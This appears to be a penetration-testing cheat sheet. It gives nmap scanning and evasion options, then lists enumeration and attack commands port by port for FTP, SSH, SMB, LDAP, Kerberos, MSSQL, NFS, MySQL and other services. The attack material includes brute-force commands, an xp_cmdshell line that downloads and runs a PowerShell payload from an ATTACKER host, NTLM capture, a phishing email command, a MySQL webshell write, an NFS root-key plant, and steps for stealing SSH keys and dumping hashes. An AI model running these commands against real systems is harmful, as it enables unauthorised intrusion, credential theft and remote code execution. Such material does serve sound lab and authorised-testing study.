Port Fingerprinting & Enumeration

# ==========================================
# PHASE 1: HOST DISCOVERY
# (Is the target alive?)
# ==========================================

# Ping sweep (ICMP)
nmap -sn 10.10.10.0/24

# ARP sweep (local network — more reliable than ICMP)
nmap -sn -PR 10.10.10.0/24
arp-scan -l                            # All hosts on local network
arp-scan 10.10.10.0/24

# No ping (assume alive, skip discovery)
nmap -Pn <target>                      # Use when ICMP is blocked

# Multiple discovery methods
nmap -sn -PE -PP -PS80,443 -PA3389 10.10.10.0/24
# -PE = ICMP echo
# -PP = ICMP timestamp
# -PS = TCP SYN to port
# -PA = TCP ACK to port

# ==========================================
# PHASE 2: FAST PORT SCAN
# (Which ports are open? Quick check)
# ==========================================

# Fast — top 1000 most common ports
nmap -sS -T4 --top-ports 1000 -oA phase2_quick <target>

# Ultra-fast with rustscan first
rustscan -a <target> --range 1-65535 -b 1000 -- -sV

# ==========================================
# PHASE 3: FULL PORT SCAN
# (Find ALL open ports including obscure ones)
# ==========================================

# Full TCP — all 65535 ports
nmap -sS -p- --min-rate 5000 -oA phase3_full_tcp <target>

# Full UDP — top 100 (UDP is slow, top 100 is practical)
nmap -sU --top-ports 100 -oA phase3_udp <target>

# ==========================================
# PHASE 4: SERVICE & VERSION DETECTION
# (What is actually running?)
# ==========================================

# Version detection on OPEN ports only
nmap -sV -sC -p <OPEN_PORTS> -oA phase4_services <target>

# Aggressive — all in one
nmap -A -p <OPEN_PORTS> <target>
# -A = -sV -sC -O --traceroute

# Increase version detection intensity (0-9, default=7)
nmap -sV --version-intensity 9 -p <ports> <target>

# ==========================================
# PHASE 5: NSE SCRIPT SCANNING
# (Service-specific deep enumeration)
# ==========================================

# Default scripts
nmap -sC -p <ports> <target>

# Vulnerability scripts
nmap --script vuln -p <ports> <target>

# Service-specific (based on what's open)
nmap --script smb-enum-shares,smb-enum-users -p 445 <target>
nmap --script http-enum,http-title -p 80,443 <target>
nmap --script ftp-anon,ftp-brute -p 21 <target>

# ALL scripts for a port (danger! noisy!)
nmap --script all -p 80 <target>

# ==========================================
# SCAN TYPES
# ==========================================

-sS    # SYN Stealth scan (half-open, most common, needs root)
-sT    # TCP Connect scan (full 3-way handshake, no root needed)
-sU    # UDP scan
-sA    # ACK scan (maps firewall rules — doesn't find open ports!)
-sW    # Window scan (like ACK but checks TCP window size)
-sM    # Maimon scan (FIN/ACK — bypasses some firewalls)
-sN    # NULL scan (no flags — bypasses stateless firewalls)
-sF    # FIN scan
-sX    # Xmas scan (FIN+PSH+URG flags)
-sI    # Idle/Zombie scan (completely stealthy, uses zombie host)
-sO    # IP protocol scan (which IP protocols are supported)
-sV    # Version detection
-sC    # Default NSE scripts
-sn    # Ping sweep only (no port scan)
-sL    # List scan (just list targets, no scan)

# ==========================================
# TARGET SPECIFICATION
# ==========================================

nmap 192.168.1.1              # Single IP
nmap 192.168.1.1-254          # Range
nmap 192.168.1.0/24           # CIDR
nmap 10.0.0-255.0-255         # Wildcard range
nmap -iL targets.txt          # From file
nmap --exclude 192.168.1.5    # Exclude host
nmap --excludefile skip.txt   # Exclude from file
nmap -6 fe80::1               # IPv6

# ==========================================
# PORT SPECIFICATION
# ==========================================

-p 22                         # Single port
-p 22,80,443                  # Multiple ports
-p 1-1024                     # Range
-p-                           # ALL ports (1-65535)
-p T:22,U:53                  # TCP:22, UDP:53
--top-ports 100               # Top 100 most common
--top-ports 1000              # Top 1000 (default)
-F                            # Fast (top 100 only)
-r                            # Sequential port order

# ==========================================
# OUTPUT
# ==========================================

-oN output.txt                # Normal output
-oX output.xml                # XML (import to tools)
-oG output.gnmap              # Grepable format
-oA output                    # ALL formats at once (recommended!)
-v                            # Verbose
-vv                           # Very verbose
--open                        # Only show open ports
--reason                      # Why nmap thinks port is in that state
--packet-trace                # Show all sent/received packets

# ==========================================
# TIMING TEMPLATES
# ==========================================

-T0   # Paranoid (5min between probes — IDS evasion)
-T1   # Sneaky (15s between probes)
-T2   # Polite (0.4s between probes)
-T3   # Normal (default)
-T4   # Aggressive (CTF/lab standard — fast)
-T5   # Insane (may miss ports)

# Fine-grained timing:
--min-rate 5000               # Min packets/sec
--max-rate 10000              # Max packets/sec
--min-parallelism 100         # Min parallel probes
--max-retries 1               # Reduce retries (faster, less accurate)
--host-timeout 30m            # Skip host after 30 minutes

# ==========================================
# EVASION
# ==========================================

-f                            # Fragment packets (8 bytes each)
--mtu 24                      # Custom MTU (must be multiple of 8)
-D RND:10                     # Decoy scan (10 random decoys)
-D 192.168.1.5,ME             # Specific decoy + self
-S <spoofed_IP>               # Spoof source IP
-e eth0                       # Specific interface
--source-port 53              # Spoof source port (looks like DNS)
--data-length 25              # Append random data to packets
--randomize-hosts             # Scan hosts in random order
--scan-delay 500ms            # Delay between probes
--spoof-mac Apple             # Spoof MAC address
--badsum                      # Send bad checksum (IDS testing)

# ==========================================
# NSE SCRIPTS
# ==========================================

# Script categories:
# auth, broadcast, brute, default, discovery, dos,
# exploit, external, fuzzer, intrusive, malware, safe,
# version, vuln

nmap --script default          # Same as -sC
nmap --script vuln             # All vuln scripts
nmap --script safe             # Only safe scripts
nmap --script "smb-*"          # All SMB scripts
nmap --script "http-* and not http-brute"  # HTTP except brute

# Script arguments
nmap --script http-brute --script-args "http-brute.path=/admin"

# Update scripts database
nmap --script-updatedb

# Install
sudo apt install rustscan

# All ports → pipe to nmap
rustscan -a <target> --range 1-65535 -- -sV -sC

# With timeout + batch
rustscan -a <target> -t 2000 -b 2000 -- -A

# Subnet
rustscan -a 10.10.10.0/24 -- -sV

# Install
sudo apt install masscan

# All ports (ultra-fast)
sudo masscan -p1-65535 <target> --rate=10000

# Output to grepable
sudo masscan -p1-65535 <target> --rate=5000 -oG masscan.out

# Extract ports + pass to nmap
open_ports=$(sudo masscan -p1-65535 <target> --rate=5000 | awk '/open/{print $4}' | cut -d/ -f1 | tr '\n' ',')
nmap -sV -sC -p $open_ports <target>

# TCP banner grab
nc -v <target> <port>
nc -v target.com 22

# With timeout
nc -v -w 3 target.com 80

# Send HTTP request manually
echo -e "GET / HTTP/1.0\r\n\r\n" | nc target.com 80

# UDP
nc -u target.com 161

# Find service by port number
grep "^80/" /etc/services

# OR
cat /etc/services | grep "^ssh"

SCAN TYPE COMPARISON
┌──────────────┬──────────────────────────┬──────────────┐
│ Scan         │ Packets                  │ Root         │
├──────────────┼──────────────────────────┼──────────────┤
│ SYN (-sS)    │ SYN (half-open)          │ YES          │
│ Connect (-sT)│ Full 3-way handshake     │ NO           │
│ UDP (-sU)    │ UDP packets              │ YES          │
│ ACK (-sA)    │ ACK only                 │ YES          │
│ NULL (-sN)   │ No flags                 │ YES          │
│ FIN (-sF)    │ FIN only                 │ YES          │
│ Xmas (-sX)   │ FIN+PSH+URG              │ YES          │
│ Idle (-sI)   │ Zombie host              │ YES          │
└──────────────┴──────────────────────────┴──────────────┘

# ==========================================
# DETECTION
# ==========================================

nmap -sV -p 21 <target>
nmap -sC -p 21 <target>
nmap --script ftp-anon,ftp-syst,ftp-banner -p 21 <target>

# ==========================================
# FINGERPRINTING
# ==========================================

# Banner grabbing
nc -v <target> 21
# Response: 220 vsFTPd 3.0.3
# Response: 220 Microsoft FTP Service
# Response: 220 ProFTPD 1.3.5 Server

# ==========================================
# ENUMERATION
# ==========================================

# Check anonymous login (ALWAYS check!)
ftp <target>
# Username: anonymous
# Password: anonymous (or empty)

# Automated anonymous check
nmap --script ftp-anon -p 21 <target>

# List files after login
ftp> ls -la
ftp> ls -R           # Recursive (find hidden files)
ftp> get filename    # Download file
ftp> mget *          # Download all files
ftp> put shell.php   # Upload file (if writable!)
ftp> binary          # Switch to binary mode before downloading exe/zip

# Brute force
hydra -L users.txt -P passwords.txt ftp://<target>
medusa -h <target> -U users.txt -P pass.txt -M ftp

# NSE scripts
nmap --script ftp-brute -p 21 <target>
nmap --script ftp-bounce -p 21 <target>   # FTP bounce scan (use as proxy!)
nmap --script ftp-proftpd-backdoor -p 21 <target>  # CVE-2010-4221
nmap --script ftp-vsftpd-backdoor -p 21 <target>   # CVE-2011-2523 vsFTPd 2.3.4

# ==========================================
# ATTACK NOTES
# ==========================================

# If anonymous login works:
# → Look for: config files, backup files, scripts, web files
# → If upload allowed: upload PHP webshell → if FTP root is web root → RCE!

# vsFTPd 2.3.4 backdoor (classic!)
# Connect to port 6200 after triggering backdoor with :) in username
nmap --script ftp-vsftpd-backdoor -p 21 <target>

# FTP passive vs active mode
ftp> passive    # Toggle passive mode

# Download entire FTP server content
wget -m ftp://anonymous:anonymous@<target>/

# ==========================================
# FINGERPRINTING
# ==========================================

nmap -sV -p 22 <target>
nmap --script ssh-hostkey,ssh-auth-methods,ssh2-enum-algos -p 22 <target>

# Banner grab
nc -v <target> 22
# SSH-2.0-OpenSSH_7.4
# SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.3

# ==========================================
# ENUMERATION
# ==========================================

# Check auth methods
nmap --script ssh-auth-methods --script-args "ssh.user=root" -p 22 <target>

# Check host key (fingerprint)
ssh-keyscan -t rsa <target>
ssh-keyscan -t ecdsa,ed25519 <target>

# Enumerate algorithms (weak = old version!)
nmap --script ssh2-enum-algos -p 22 <target>

# ==========================================
# ATTACKS
# ==========================================

# Brute force
hydra -L users.txt -P passwords.txt ssh://<target> -t 4
medusa -h <target> -U users.txt -P pass.txt -M ssh
ncrack -p 22 --user root -P rockyou.txt <target>

# Connect with key
ssh -i id_rsa user@<target>
ssh -i id_rsa -o StrictHostKeyChecking=no user@<target>

# Fix permissions
chmod 600 id_rsa
ssh -i id_rsa user@<target>

# SSH tunneling (port forwarding for pivoting)
# Local forward (access remote service locally)
ssh -L 8080:127.0.0.1:80 user@<target>     # Localhost:8080 → target:80

# Remote forward (expose local port on remote)
ssh -R 9090:127.0.0.1:4444 user@<target>   # target:9090 → local:4444

# Dynamic SOCKS proxy (pivoting through SSH!)
ssh -D 1080 user@<target>                   # SOCKS proxy on local:1080
proxychains nmap 10.10.10.1                # Now scan inner network!

# Old OpenSSH username enumeration
# CVE-2016-6210 (OpenSSH < 7.3)
python2 sshUsernameEnumTiming.py <target>

# ==========================================
# KEY NOTES
# ==========================================

# Check for weak keys:
nmap --script ssh-hostkey --script-args 'ssh_hostkey=all' -p 22 <target>

# If you have shell — look for:
cat ~/.ssh/id_rsa           # Private key (exfil for lateral movement!)
cat ~/.ssh/authorized_keys  # Add your key for persistence!
cat ~/.ssh/known_hosts      # Reveals other hosts this machine connects to!

# Fingerprint
nmap -sV -p 23 <target>
nmap --script telnet-ntlm-info,telnet-encryption -p 23 <target>

# Connect (credentials sent in plaintext!)
telnet <target>

# Brute force
hydra -L users.txt -P pass.txt telnet://<target>

# ==========================================
# ATTACK NOTES
# ==========================================

# On network with Telnet: run Wireshark/tcpdump
# → Capture credentials in plaintext!
tcpdump -i eth0 -A port 23 | grep -i "login\|password\|pass"

# ==========================================
# FINGERPRINTING
# ==========================================

nmap -sV -p 25 <target>
nmap --script smtp-commands,smtp-ntlm-info,smtp-open-relay -p 25 <target>

# Banner grab
nc -v <target> 25
# 220 mail.corp.local Microsoft ESMTP MAIL Service

# ==========================================
# ENUMERATION
# ==========================================

# Manual SMTP commands
nc -v <target> 25
HELO attacker.com
EHLO attacker.com        # Extended HELO (shows server capabilities)
VRFY root                # Verify if user exists! (user enumeration)
EXPN admins              # Expand mailing list (reveals members)
MAIL FROM: <test@test.com>
RCPT TO: <root@target.com>
QUIT

# User enumeration via VRFY
nmap --script smtp-enum-users --script-args "smtp-enum-users.methods={VRFY,EXPN,RCPT}" -p 25 <target>

# Check for open relay (will relay email for anyone!)
nmap --script smtp-open-relay -p 25 <target>

# smtp-user-enum tool
smtp-user-enum -M VRFY -U users.txt -t <target>
smtp-user-enum -M RCPT -U users.txt -t <target> -D corp.local

# ==========================================
# ATTACK NOTES
# ==========================================

# Open relay → send phishing emails from company's own server!
# User enumeration → build username list for password spraying

# Send test email (if relay open)
swaks --to victim@corp.local --from it@corp.local \
    --server <target> --body "Click here: http://ATTACKER/"

# ==========================================
# FINGERPRINTING
# ==========================================

nmap -sV -p 53 <target>
nmap --script dns-nsid,dns-recursion,dns-zone-transfer -p 53 <target>

# ==========================================
# ENUMERATION
# ==========================================

# Basic DNS queries
nslookup corp.local <target>
dig @<target> corp.local
dig @<target> corp.local ANY         # All records
dig @<target> corp.local MX          # Mail servers
dig @<target> corp.local NS          # Name servers
dig @<target> corp.local TXT         # Text records (DKIM, SPF, secrets!)
dig @<target> corp.local AAAA        # IPv6

# ZONE TRANSFER (dumps entire DNS database! Critical bug!)
dig @<target> corp.local AXFR
host -l corp.local <target>

# nmap zone transfer
nmap --script dns-zone-transfer --script-args "dns-zone-transfer.domain=corp.local" -p 53 <target>

# Subdomain enumeration
gobuster dns -d corp.local -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --resolver <target>
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -u http://FUZZ.corp.local

# Reverse DNS
dig -x 10.10.10.1 @<target>          # PTR record lookup
nmap -sn --dns-servers <target> 10.10.10.0/24   # Reverse DNS sweep

# dnsenum (comprehensive)
dnsenum --dnsserver <target> corp.local
dnsenum --dnsserver <target> corp.local --enum -p 0 -s 0

# fierce
fierce --domain corp.local --dns-servers <target>

# ==========================================
# ATTACK NOTES
# ==========================================

# Zone transfer → entire subdomain list → find admin panels, dev servers, staging!
# TXT records → find internal info, API keys, email config
# AD DNS → forward zone for corp.local → all computer names!

# ==========================================
# FINGERPRINTING
# ==========================================

nmap -sV -p 80 <target>
nmap --script http-title,http-server-header,http-methods,http-auth-finder -p 80 <target>
whatweb http://<target>
curl -I http://<target>              # Headers only

# ==========================================
# ENUMERATION
# ==========================================

# Directory discovery
gobuster dir -u http://<target> -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt -x php,html,txt,bak
feroxbuster -u http://<target> -x php,html,txt
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -u http://<target>/FUZZ

# Check robots.txt and sitemap
curl http://<target>/robots.txt
curl http://<target>/sitemap.xml

# Nikto (web vulnerability scanner)
nikto -h http://<target>
nikto -h http://<target> -Tuning 4   # Focus on injection tests

# HTTP methods check
nmap --script http-methods -p 80 <target>
curl -X OPTIONS http://<target> -v   # If PUT/DELETE → file upload!

# vhost / subdomain discovery
gobuster vhost -u http://<target> -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
    -H "Host: FUZZ.corp.local" -u http://<target> -fs <default_size>

# Common sensitive paths
curl http://<target>/.git/HEAD       # Exposed .git!
curl http://<target>/.env            # Laravel env (DB creds!)
curl http://<target>/backup.zip      # Backup files
curl http://<target>/phpinfo.php     # PHP info disclosure
curl http://<target>/admin           # Admin panel
curl http://<target>/wp-admin        # WordPress admin
curl http://<target>/server-status   # Apache server status

# NSE scripts
nmap --script http-enum -p 80 <target>
nmap --script http-vuln* -p 80 <target>
nmap --script http-wordpress-enum -p 80 <target>
nmap --script http-shellshock -p 80 <target>   # CVE-2014-6271

# ==========================================
# CMS SPECIFIC TOOLS
# ==========================================

# WordPress
wpscan --url http://<target> --enumerate u,p,t,cb,dbe
wpscan --url http://<target> -e u -P rockyou.txt  # Password attack

# Joomla
joomscan -u http://<target>

# Drupal
droopescan scan drupal -u http://<target>

# Fingerprint
nmap -sV -p 88 <target>
nmap --script krb5-enum-users -p 88 <target>

# User enumeration (no creds needed!)
kerbrute userenum --dc <DC_IP> -d corp.local users.txt
nmap --script krb5-enum-users --script-args krb5-enum-users.realm='corp.local',userdb=users.txt -p 88 <target>

# AS-REP Roasting (no creds needed if preauth disabled!)
impacket-GetNPUsers corp.local/ -dc-ip <DC_IP> -usersfile users.txt -format hashcat -outputfile asrep.txt
GetNPUsers.py corp.local/ -no-pass -usersfile users.txt -dc-ip <DC_IP>

# ==========================================
# ATTACK NOTES
# ==========================================

# Port 88 open = THIS IS A DOMAIN CONTROLLER!
# → Switch to full AD enumeration mode immediately
# → Try kerbrute for user enum without creds
# → Try AS-REP roasting on known usernames

nmap -sV -p 110 <target>
nmap --script pop3-capabilities,pop3-ntlm-info -p 110 <target>

# Manual interaction
nc -v <target> 110
USER admin
PASS password
LIST              # List emails
RETR 1            # Read email 1
DELE 1            # Delete email 1
QUIT

# Brute force
hydra -L users.txt -P pass.txt pop3://<target>

nmap -sV -p 111 <target>
nmap --script rpcinfo -p 111 <target>

# List all RPC services
rpcinfo -p <target>           # Shows ALL registered RPC services

# Common RPC programs to look for:
# 100000 portmapper
# 100003 nfs
# 100005 mountd
# 100021 nlockmgr
# 100227 nfs_acl

# ==========================================
# ATTACK NOTES
# ==========================================

# If NFS (100003) is listed → go to port 2049 enumeration!
# If ypbind (NIS) → user list disclosure

nmap -sV -p 119 <target>
nc -v <target> 119
# Commands: LIST, GROUP, ARTICLE, BODY, HEAD

# Fingerprint
nmap -sV -p 137,138,139 <target>
nmap --script nbstat,smb-os-discovery -p 139 <target>

# NetBIOS enumeration
nbtscan <target>
nbtscan 10.10.10.0/24
nmblookup -A <target>           # Lookup NetBIOS names

# Null session (legacy — Windows XP/2003)
smbclient -L //<target>/ -N     # List shares without creds
smbclient //<target>/IPC$ -N    # Connect to IPC$ null session

# enum4linux-ng (comprehensive NetBIOS/SMB enum)
enum4linux-ng <target> -A

# ==========================================
# WHAT TO LOOK FOR
# ==========================================

# NetBIOS names reveal:
# <hostname>    <00> UNIQUE = Workstation service
# <hostname>    <20> UNIQUE = File & Print Sharing
# <DOMAIN>      <00> GROUP  = Domain membership
# <username>    <03> UNIQUE = Messenger (currently logged in user!)

nmap -sV -p 143 <target>
nmap --script imap-capabilities,imap-ntlm-info -p 143 <target>

# Manual interaction
nc -v <target> 143
a LOGIN admin password
a LIST "" "*"           # List all mailboxes
a SELECT INBOX          # Select inbox
a FETCH 1 BODY[]        # Read email 1
a LOGOUT

# Brute force
hydra -L users.txt -P pass.txt imap://<target>

# ==========================================
# FINGERPRINTING
# ==========================================

nmap -sU -sV -p 161 <target>
nmap -sU --script snmp-info,snmp-sysdescr -p 161 <target>

# ==========================================
# ENUMERATION
# ==========================================

# Check for default community strings (public, private, manager)
onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt <target>
onesixtyone -c /usr/share/seclists/Discovery/SNMP/snmp.txt <target>

# SNMP walk (dump ALL MIB data with known community string)
snmpwalk -v2c -c public <target>
snmpwalk -v2c -c private <target>
snmpwalk -v1 -c public <target>

# Targeted OID queries:
snmpwalk -v2c -c public <target> 1.3.6.1.2.1.25.4.2.1.2   # Running processes!
snmpwalk -v2c -c public <target> 1.3.6.1.2.1.25.6.3.1.2   # Installed software
snmpwalk -v2c -c public <target> 1.3.6.1.2.1.6.13.1.3     # TCP open ports
snmpwalk -v2c -c public <target> 1.3.6.1.2.1.4.34.1.3     # IP addresses
snmpwalk -v2c -c public <target> 1.3.6.1.4.1.77.1.2.25    # Windows user accounts!
snmpwalk -v2c -c public <target> 1.3.6.1.2.1.1.5.0        # Hostname

# snmpget (single OID)
snmpget -v2c -c public <target> 1.3.6.1.2.1.1.1.0  # System description
snmpget -v2c -c public <target> 1.3.6.1.2.1.1.5.0  # Hostname

# snmp-check (comprehensive, human-readable output)
snmp-check <target> -c public
snmp-check <target> -c public -v 2c

# braa (fast bulk SNMP scanner)
braa public@<target>:*.1.3.6.*

# ==========================================
# ATTACK NOTES
# ==========================================

# "public" community string = read access
# "private" community string = read-write access (can change config!)
# SNMPv1/v2c = cleartext (community string = plaintext password!)
# SNMPv3 = has authentication (look for weak passwords)

# Windows SNMP:
# Users:    1.3.6.1.4.1.77.1.2.25
# Services: 1.3.6.1.4.1.77.1.2.3
# Shares:   1.3.6.1.4.1.77.1.2.27

# If write access (private):
# → Change routing tables
# → Redirect traffic
# → Disable interfaces

# ==========================================
# FINGERPRINTING
# ==========================================

nmap -sV -p 389 <target>
nmap --script ldap-rootdse -p 389 <target>      # Get LDAP root DSE (no auth!)

# ==========================================
# ENUMERATION
# ==========================================

# Anonymous LDAP query (null session)
ldapsearch -H ldap://<DC_IP> -x -b "DC=corp,DC=local"
ldapsearch -H ldap://<DC_IP> -x -b "" -s base   # Root DSE

# With credentials
ldapsearch -H ldap://<DC_IP> -x -D "user@corp.local" -w "pass" -b "DC=corp,DC=local"

# Enumerate users
ldapsearch -H ldap://<DC_IP> -x -b "DC=corp,DC=local" "(objectClass=person)" sAMAccountName mail
ldapsearch -H ldap://<DC_IP> -x -b "DC=corp,DC=local" "(objectClass=user)" sAMAccountName description

# Enumerate computers
ldapsearch -H ldap://<DC_IP> -x -b "DC=corp,DC=local" "(objectClass=computer)" name dNSHostName

# Enumerate groups
ldapsearch -H ldap://<DC_IP> -x -b "DC=corp,DC=local" "(objectClass=group)" cn member

# Find SPNs (Kerberoastable users!)
ldapsearch -H ldap://<DC_IP> -x -b "DC=corp,DC=local" "(servicePrincipalName=*)" sAMAccountName servicePrincipalName

# Find AS-REP roastable
ldapsearch -H ldap://<DC_IP> -x -b "DC=corp,DC=local" "(userAccountControl:1.2.840.113556.1.4.803:=4194304)"

# ldapdomaindump (beautiful HTML output!)
ldapdomaindump -u corp\\user -p pass <DC_IP>
ldapdomaindump <DC_IP> -u 'corp\user' -p 'pass' --no-json --no-grep

# windapsearch (more features)
python3 windapsearch.py --dc-ip <DC_IP> -d corp.local -u user -p pass -U  # Users
python3 windapsearch.py --dc-ip <DC_IP> -d corp.local -u user -p pass -G  # Groups
python3 windapsearch.py --dc-ip <DC_IP> -d corp.local -u user -p pass -C  # Computers
python3 windapsearch.py --dc-ip <DC_IP> -d corp.local --da               # Domain admins

# ==========================================
# ATTACK NOTES
# ==========================================

# Port 389 open = Domain Controller!
# Null LDAP session → anonymous enumeration → get username list!
# Then → password spray with those usernames

# Fingerprint
nmap -sV -p 443 <target>
nmap --script ssl-cert,ssl-enum-ciphers,http-title -p 443 <target>

# SSL certificate info (reveals hostnames, org, expiry!)
openssl s_client -connect <target>:443
echo | openssl s_client -connect <target>:443 2>/dev/null | openssl x509 -text
# Look for: Subject Alternative Names (SANs) → more subdomains!

# SSL/TLS vulnerabilities
nmap --script ssl-heartbleed -p 443 <target>     # Heartbleed (CVE-2014-0160)
nmap --script ssl-poodle -p 443 <target>         # POODLE
nmap --script ssl-dh-params -p 443 <target>      # Weak DH params
nmap --script ssl-ccs-injection -p 443 <target>  # CVE-2014-0224

# testssl.sh (comprehensive TLS analysis)
./testssl.sh https://<target>
./testssl.sh --vuln https://<target>   # Vulns only

# sslscan
sslscan <target>:443

# All web enum applies here too (same as port 80)
nikto -h https://<target> -ssl
whatweb https://<target>

# ==========================================
# FINGERPRINTING
# ==========================================

nmap -sV -p 445 <target>
nmap --script smb-os-discovery,smb-security-mode,smb2-security-mode -p 445 <target>

# ==========================================
# ENUMERATION
# ==========================================

# List shares (null session)
smbclient -L //<target>/ -N
smbclient -L //<target>/ -U ""

# List shares (with creds)
smbclient -L //<target>/ -U user
smbmap -H <target>
smbmap -H <target> -u user -p pass
smbmap -H <target> -u user -p pass -r SHARE   # Recursive listing

# Access specific share
smbclient //<target>/SHARE -N
smbclient //<target>/SHARE -U user

# SMB client commands
smb: \> ls                   # List files
smb: \> get filename         # Download
smb: \> put file.exe         # Upload
smb: \> recurse ON
smb: \> mget *               # Download all

# Download entire share
smbget -R smb://<target>/SHARE -U user%pass

# enum4linux-ng (comprehensive!)
enum4linux-ng <target> -A
enum4linux-ng <target> -A -u user -p pass

# CrackMapExec
crackmapexec smb <target> --shares
crackmapexec smb <target> -u user -p pass --shares
crackmapexec smb <target> -u user -p pass --users
crackmapexec smb <target> -u user -p pass --sam    # Dump SAM hashes

# Impacket
impacket-smbclient user:pass@<target>

# ==========================================
# NSE SCRIPTS
# ==========================================

nmap --script smb-vuln-ms17-010 -p 445 <target>        # EternalBlue!
nmap --script smb-vuln-ms08-067 -p 445 <target>        # MS08-067
nmap --script smb-vuln-cve-2020-0796 -p 445 <target>   # SMBGhost
nmap --script smb-enum-shares,smb-enum-users -p 445 <target>
nmap --script smb-enum-sessions -p 445 <target>

# ==========================================
# ATTACK NOTES
# ==========================================

# EternalBlue (MS17-010) → SYSTEM shell!
# Check: nmap --script smb-vuln-ms17-010

# Null session:
# → Username list from RID brute
crackmapexec smb <target> -u "" -p "" --rid-brute

# SYSVOL share → look for GPP passwords (cpassword)
smbclient //<DC_IP>/SYSVOL -N
# Get: Policies/{GUID}/Machine/Preferences/Groups/Groups.xml
# Contains: cpassword field → decrypt with gpp-decrypt!
gpp-decrypt "<cpassword_value>"

nmap -sV -p 464 <target>
# Port 464 open = Domain Controller (alongside 88, 389, 636)

nmap -sV -p 465,587 <target>
# 465 = SMTPS (SMTP over SSL)
# 587 = SMTP submission with STARTTLS

# Check STARTTLS support
nmap --script smtp-starttls -p 587 <target>

# Send email via SSL
swaks --to user@corp.local --from attacker@corp.local \
    --server <target> --port 587 --tls

# Brute force
hydra -L users.txt -P pass.txt smtp://<target>:587

nmap -sV -p 993 <target>
openssl s_client -connect <target>:993
hydra -L users.txt -P pass.txt imaps://<target>

nmap -sV -p 995 <target>
openssl s_client -connect <target>:995
hydra -L users.txt -P pass.txt pop3s://<target>

# ==========================================
# FINGERPRINTING
# ==========================================

nmap -sV -p 1433 <target>
nmap --script ms-sql-info,ms-sql-config,ms-sql-empty-password -p 1433 <target>

# ==========================================
# ENUMERATION
# ==========================================

# Check empty SA password
nmap --script ms-sql-empty-password -p 1433 <target>

# Connect with sa (no password)
impacket-mssqlclient sa@<target> -windows-auth
impacket-mssqlclient sa:@<target>

# Connect with creds
impacket-mssqlclient user:pass@<target>
impacket-mssqlclient corp/user:pass@<target> -windows-auth  # Windows auth

# Interactive mssqlclient commands
SQL> SELECT @@version;
SQL> SELECT name FROM master..sysdatabases;
SQL> SELECT name FROM sysdatabases;
SQL> SELECT table_name FROM INFORMATION_SCHEMA.TABLES;
SQL> SELECT * FROM users;

# ==========================================
# EXPLOITATION
# ==========================================

# Enable xp_cmdshell
SQL> EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
SQL> EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
SQL> EXEC xp_cmdshell 'whoami';
SQL> EXEC xp_cmdshell 'powershell -c "IEX(iwr ''http://ATTACKER/s.ps1'')"'

# Linked servers
SQL> SELECT * FROM sys.servers;
SQL> EXEC ('SELECT @@version') AT [LINKED_SERVER];
SQL> EXEC ('EXEC xp_cmdshell ''whoami''') AT [LINKED_SERVER];

# NTLM capture via UNC path
SQL> EXEC master..xp_dirtree '\\ATTACKER\share'  # Triggers NTLM auth → capture with Responder!

# PowerUpSQL
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded
Invoke-SQLAudit -Instance <target> -Verbose

# ==========================================
# BRUTE FORCE
# ==========================================

hydra -L users.txt -P pass.txt mssql://<target>
nmap --script ms-sql-brute -p 1433 <target>

nmap -sV -p 1521 <target>
nmap --script oracle-tns-version,oracle-sid-brute -p 1521 <target>

# SID enumeration (Oracle SID = database name)
odat sidguesser -s <target> -p 1521
nmap --script oracle-sid-brute -p 1521 <target>

# Connect
sqlplus user/pass@<target>/ORCL
sqlplus sys/pass@<target>/ORCL as sysdba

# ODAT (Oracle Database Attack Tool)
odat all -s <target> -p 1521 -d ORCL -U sys -P manager --sysdba
odat utlfile -s <target> -U sys -P manager -d ORCL --sysdba --putFile C:\\windows\\system32 cmd.exe /usr/share/windows-binaries/nc.exe

nmap -sV -p 1723 <target>
nmap --script pptp-version -p 1723 <target>

# MS-CHAPv2 is crackable → capture VPN auth → crack offline

# ==========================================
# FINGERPRINTING
# ==========================================

nmap -sV -p 2049 <target>
nmap --script nfs-ls,nfs-showmount,nfs-statfs -p 2049 <target>

# ==========================================
# ENUMERATION
# ==========================================

# Show exported shares
showmount -e <target>
nmap --script nfs-showmount -p 2049 <target>

# ==========================================
# EXPLOITATION
# ==========================================

# Mount the share!
mkdir /mnt/nfs
mount -t nfs <target>:/share /mnt/nfs -o nolock
mount -t nfs <target>:/ /mnt/nfs -o nolock           # Root export!

# Browse mount
ls -la /mnt/nfs
cat /mnt/nfs/etc/passwd     # If / is exported!

# UID manipulation (if no_root_squash is set)
# Create user with same UID as target user
adduser --uid 1001 fakeuser
su fakeuser
cat /mnt/nfs/home/user/.ssh/id_rsa   # Read their private key!

# If no_root_squash + write access → upload SSH key!
cp ~/.ssh/id_rsa.pub /mnt/nfs/root/.ssh/authorized_keys
ssh root@<target>   # → ROOT!

# ==========================================
# ATTACK NOTES
# ==========================================

# no_root_squash = root on client is root on server!
# no_all_squash = all users map to their real UID
# → UID spoof to read/write as any user

# ==========================================
# FINGERPRINTING
# ==========================================

nmap -sV -p 3306 <target>
nmap --script mysql-info,mysql-databases,mysql-empty-password -p 3306 <target>

# ==========================================
# ENUMERATION
# ==========================================

# Connect (empty password)
mysql -h <target> -u root
mysql -h <target> -u root -p       # Prompt for password

# MySQL commands
mysql> show databases;
mysql> use mysql;
mysql> show tables;
mysql> select user,host,authentication_string from mysql.user;   # Dump hashes!
mysql> select * from users;
mysql> select @@version;
mysql> select @@datadir;       # Database files location

# ==========================================
# EXPLOITATION
# ==========================================

# File read (needs FILE privilege)
mysql> select load_file('/etc/passwd');

# File write → webshell!
mysql> select "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php';

# UDF (User Defined Function) RCE
# → Compile raptor_udf2.so → upload → CREATE FUNCTION sys_exec

# ==========================================
# BRUTE FORCE
# ==========================================

hydra -L users.txt -P pass.txt mysql://<target>
nmap --script mysql-brute -p 3306 <target>

# ==========================================
# FINGERPRINTING
# ==========================================
